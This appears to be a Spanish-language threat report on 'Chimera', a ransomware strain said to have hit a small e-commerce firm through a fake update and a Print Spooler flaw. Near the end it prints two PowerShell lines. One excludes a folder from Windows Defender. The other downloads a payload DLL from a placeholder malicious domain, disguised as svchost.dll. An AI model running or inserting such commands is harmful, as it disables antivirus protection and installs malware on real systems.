En 2025, surgió una nueva y sofisticada amenaza cibernética denominada «Chimera», la cual representa una evolución significativa en el panorama del malware.
Este avanzado programa malicioso se detectó por primera vez en marzo de 2025, cuando se infiltró en X Business, una pequeña empresa de comercio electrónico especializada en decoración artesanal para el hogar. La intrusión se produjo a través de lo que aparentaba ser una actualización rutinaria del software de gestión de inventario de la compañía.
En un lapso de doce horas, el malware logró comprometer por completo la infraestructura digital de la empresa, denegando el acceso del personal a sus cuentas, inhabilitando su sitio web y, finalmente, exigiendo un rescate de $250,000 en criptomonedas.
Los vectores de ataque de Chimera son notablemente diversos y sofisticados, lo que lo distingue del malware convencional.
La infiltración inicial suele ocurrir a través de actualizaciones de software aparentemente legítimas o intentos de phishing cuidadosamente elaborados que imitan las comunicaciones internas.
Una vez dentro de un sistema, Chimera establece rápidamente persistencia y comienza el movimiento lateral en entornos Windows y macOS, una capacidad multiplataforma rara vez vista en cepas de malware anteriores.
Los analistas del equipo OSINT identificaron los patrones de comportamiento únicos de Chimera después de examinar el ataque a X Business y señalaron que sus capacidades de autoaprendizaje lo hacen particularmente peligroso.
La capacidad del malware para reescribir su propio código dinámicamente le permite evadir los métodos tradicionales de detección basados en firmas y, al mismo tiempo, adaptarse a las medidas defensivas implementadas durante una respuesta activa a un incidente.
El impacto de Chimera ha sido devastador para las organizaciones afectadas. En el caso de X Business, el malware provocó un cierre operativo completo, con sistemas de punto de venta bloqueados, datos de clientes cifrados e información confidencial filtrada a servidores remotos.
El proceso de recuperación de 48 horas requirió experiencia especializada en ciberseguridad y la implementación de herramientas avanzadas como CrowdStrike Falcon y SentinelOne Singularity para contener y remediar la amenaza.
Lo que hace que Chimera sea particularmente notable es su implementación de inteligencia artificial tanto para capacidades ofensivas como para técnicas de evasión.
A diferencia del malware tradicional que sigue patrones predeterminados, Chimera observa y aprende de su entorno, imitando el comportamiento legítimo del usuario para pasar desapercibido durante períodos prolongados.
El principal vector de infección de Chimera en los sistemas Windows implica explotar una vulnerabilidad de día cero en el servicio Windows Print Spooler.
Esto permite que el malware ejecute código arbitrario de forma remota sin requerir la interacción del usuario. La vulnerabilidad afecta a los entornos Windows 10 y Windows 11, lo que brinda a los atacantes una amplia base de objetivos potenciales.
El exploit aprovecha una condición de desbordamiento del búfer en el servicio Print Spooler, lo que permite la escalada de privilegios y la ejecución del siguiente tipo de código malicioso:
Add-MpPreference -ExclusionPath «C:\Windows\Temp\spoolsv_backup»
Invoke-WebRequest -Uri «https://[malicious-domain]/payload.dll» -OutFile «C:\Windows\Temp\spoolsv_backup\svchost.dll»
Este código establece exclusiones en Windows Defender y descarga archivos maliciosos adicionales, ocultándolos bajo la apariencia de archivos legítimos del sistema operativo. Esta técnica dificulta significativamente su detección por parte de las soluciones de seguridad convencionales.